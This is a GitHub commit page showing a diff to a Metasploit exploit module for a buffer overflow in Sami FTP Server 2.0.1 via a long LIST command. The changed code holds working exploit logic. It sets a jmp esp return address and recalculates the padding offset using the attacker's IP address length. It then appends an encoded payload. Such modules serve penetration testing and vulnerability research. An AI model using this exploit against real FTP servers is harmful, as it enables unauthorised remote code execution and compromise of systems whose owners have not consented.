Skip to content

Commit fb90a1b

Browse files
committed
Uses IP address length in offset calculation
1 parent 3d92d6e commit fb90a1b

File tree

1 file changed

+10
-4
lines changed

1 file changed

+10
-4
lines changed

modules/exploits/windows/ftp/sami_ftpd_list.rb

Lines changed: 10 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -17,7 +17,7 @@ def initialize(info = {})
1717
'Name' => 'Sami FTP Server 2.0.1 LIST Command Buffer Overflow',
1818
'Description' => %q{
1919
A buffer overflow is triggered when a long LIST
20-
command is sent to the server and the user views the Log tab.
20+
command is sent to the server while the user is viewing the Logs tab.
2121
},
2222
'Platform' => 'win',
2323
'Author' =>
@@ -48,18 +48,24 @@ def initialize(info = {})
4848
'Windows Universal',
4949
{
5050
'Ret' => 0x10028283, # jmp esp C:\Program Files\PMSystem\Temp\tmp0.dll
51-
'Offset' => 219,
51+
'Offset' => 225,
5252
},
5353
],
5454
],
5555
'DefaultTarget' => 0,
5656
'DisclosureDate' => 'Feb 27 2013'))
57+
register_options(
58+
[
59+
OptString.new('IPADDR', [true, 'Attacker\'s IP address'])
60+
], self.class)
5761
end
5862

5963
def exploit
6064
connect_login
61-
62-
buf = rand_text(target['Offset'], payload_badchars)
65+
sleep 1
66+
67+
ip_length = datastore['IPADDR'].length - 3
68+
buf = rand_text_alphanumeric(target['Offset'] - ip_length)
6369
buf << [ target['Ret'] ].pack('V')
6470
buf << payload.encoded
6571

0 commit comments

Comments
 (0)